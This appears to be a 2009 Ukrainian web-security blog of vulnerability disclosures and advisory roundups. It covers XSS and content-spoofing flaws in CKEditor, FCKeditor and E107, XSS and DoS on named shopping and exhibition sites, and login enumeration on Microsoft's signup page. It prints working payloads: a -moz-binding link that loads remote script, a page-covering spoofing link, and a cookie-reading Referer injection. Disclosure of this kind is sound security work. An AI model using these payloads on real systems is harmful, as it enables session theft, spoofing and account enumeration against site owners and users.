Websecurity - Веб безпека

08.07.2009

Сьогодні я знайшов Cross-Site Scripting та Content Spoofing уразливості в CKEditor. Про що найближчим часом повідомлю розробникам редактора (які є також розробниками FCKeditor).

Дані уразливості аналогічні уразливостям в FCKeditor, про які я писав раніше.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам веб додатка.

26.09.2009

XSS:

В CKEditor 3.0 RC є Persistent XSS уразливість, що дозволяє розміщувати XSS код на сайтах, які його використовуть. Атака (в Mozilla і Firefox) відбувається через розміщення лінки з вказанням стилю:

<a href="http://test" style="-moz-binding:url('http://site/xss.xml#xss')">test</a>

Content Spoofing:

Це Persistent Content Spoofing уразливість.

<a href="http://websecurity.com.ua" style="width:100%;height:100%;display:block;position:absolute;top:0px;left:0px">&nbsp;</a>

Дані уразливості в самому редакторі, тому їх можна використати на будь-якому сайті, що використовує CKEditor в якості редактора для веб форм.

Уразливі CKEditor 3.0 RC та попередні версії.

У січні, 31.01.2009, я знайшов Abuse of Functionality та Insufficient Anti-automation уразливості на сайті https://signup.live.com компанії Microsoft.

Abuse of Functionality:

На сторінці реєстрації https://signup.live.com/signup.aspx функція Check Availability, яка призначена для перевірки чи вільний даний логін, дозволяє дізнатися логіни користувачів в системі.

Insufficient Anti-automation:

Враховучи, що дана функція немає захисту від автоматизованих атак, це дозволяє проводити автоматизоване виявлення логінів (які використовуються для доступу до пошти Hotmail та інших проектів Microsoft). Що може бути зроблено за допомогою брутфорсерів логінів, зокрема, моєї програми Brute force login identifier.

В подальшому виявлені логіни можуть бути використані для визначення паролів користувачів сайта.

В даній добірці уразливості в веб додатках:

• Debian generated SSH-Keys working exploit (деталі)
• OpenSSL vulnerability (деталі)
• OpenSSH vulnerability (деталі)
• SQL Injection vulnerability in Joomla Component GameQ (деталі)
• Pro Clan Manager 0.4.2 - Session Fixation (деталі)
• MULTI SECURITY VULNERABILITIES IN MVNFORUM (деталі)
• Exploit of vulnerability EZSA-2008-003 with accounting record activation (деталі)
• Stored XSS Vulnerability in Xoops 2.3.x (деталі)
• Multiple Local File Include Vulnerabilities in Xoops 2.3.x (деталі)
• Multiple Local File Include Vulnerabilities in Xoops 2.3.x (деталі)

У січні, 31.01.2009, я знайшов Cross-Site Scripting уразливість в системі E107. Коли виявив уразливість на www.nist.org. Про що найближчим часом повідомлю розробникам системи.

Раніше я вже писав про уразливості в E107.

XSS:

На сторінці відправки новини на емайл (http://site/email.php?news.1) можна провести XSS атаку через заголовок Referer. Зокрема, це можна зробити через флеш.

Referer: '><script>alert(document.cookie)</script>

Уразливі E107 0.7.16 та попередні версії (усі версії).

В даній добірці уразливості в веб додатках:

• Alcatel OmniPCX Office Remote Comand Execution (деталі)
• vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm (деталі)
• CERT-FI Vulnerability Advisory on OpenSSL (деталі)
• MyBB 1.4.3 my_post_key Disclosure Vulnerability (деталі)
• WebStudio CMS ‘pageid’ Blind SQL Injection (деталі)
• OpenSSH security advisory: cbc.adv (деталі)
• Social Impress CMS 1.1 - Session Fixation (деталі)
• WHMCS V3.7.1 Sensible Information Disclosure (деталі)
• Cpanel fantastico Privilege Escalation “ModSec and PHP restriction Bypass” (деталі)
• AssoCIateD 1.4.4 Remote Cross Site Scripting Vulnerability (деталі)

09.07.2009

У жовтні, 12.10.2008, я знайшов Cross-Site Scripting і Denial of Service уразливості на проекті http://matrix.ua (інтернет магазин). Про що найближчим часом сповіщу адміністрацію проекту.

Стосовно дірок на сайтах онлайн магазинів в останнє я писав про уразливості на tvshop.com.ua.

Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

22.09.2009

XSS:

• alert(document.cookie)
• alert(document.cookie)
• alert(document.cookie)
• цікавий
• html включення

DoS:

http://matrix.ua/search/?keyword=

Можливі також інші DoS через SQL Injection атаки в даному скрипті.

Дані уразливості досі не виправлені.

У січні, 24.01.2009, я знайшов Cross-Site Scripting уразливість на http://www.ictexpo.info - сайті виставки “Информатика и связь”. Про що найближчим часом сповіщу адміністрацію сайта.

Дірка подібна до уразливості на cbse.com.ua.

XSS:

• alert(document.cookie)
• цікавий

Уразливість спрацьовує при кліку на лінці “версия для печати”. Це Strictly social XSS.

В даній добірці уразливості в веб додатках:

• Barracuda Span Firewall SQL Injection Vulnerability (деталі)
• Collabtive 0.4.8 Multiple Vulnerabilities (деталі)
• Joomla Component JooBlog 0.1.1 (PostID) SQL Injection Vuln. (деталі)
• TmaxSoft JEUS Alternate Data Streams Vulnerability (деталі)
• Sql Injection in vBulletin 3.7.3.pl1 (деталі)
• Multiple Sql Injection in vBulletin 3.7.4 (деталі)
• Kimson cms cross site scripting vulnerability (деталі)
• Local File Include Vulnerability in Pluck CMS 4.5.3 (деталі)
• boastMachine v3.1 Remote Sql Injection (деталі)
• Social Engine 2.7 CRLF Injection + SQL injection (деталі)

У січні, 24.01.2009, я знайшов Cross-Site Scripting уразливість на http://cbse.com.ua - сайті виставок CBSE та CARDEX & IT SECURITY. Про що найближчим часом сповіщу адміністрацію сайта.

XSS:

• alert(document.cookie)
• цікавий

Уразливість спрацьовує при кліку на лінці “print version”. Це Strictly social XSS.

07.07.2009

У червні, 23.06.2009, я знайшов Cross-Site Scripting та Content Spoofing уразливості в FCKeditor. Про що найближчим часом повідомлю розробникам редактора.

Раніше я вже писав про уразливості в FCKeditor.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам веб додатка.

19.09.2009

XSS:

В FCKEditor є Persistent XSS уразливість, що дозволяє розміщувати XSS код на сайтах, які його використовуть. Атака (в Mozilla і Firefox) відбувається через розміщення лінки з вказанням стилю:

<a href="http://test" style="-moz-binding:url('http://site/xss.xml#xss')">test</a>

Content Spoofing:

Це Persistent Content Spoofing уразливість.

<a href="http://websecurity.com.ua" style="width:100%;height:100%;display:block;position:absolute;top:0px;left:0px">&nbsp;</a>

Дані уразливості в самому редакторі, а не в аплоадері, як більшість уразливостей, про які я писав раніше. Тому їх можна використати на будь-якому сайті, що використовує FCKeditor в якості редактора для веб форм.

Уразливі FCKeditor 2.6.4 та попередні версії.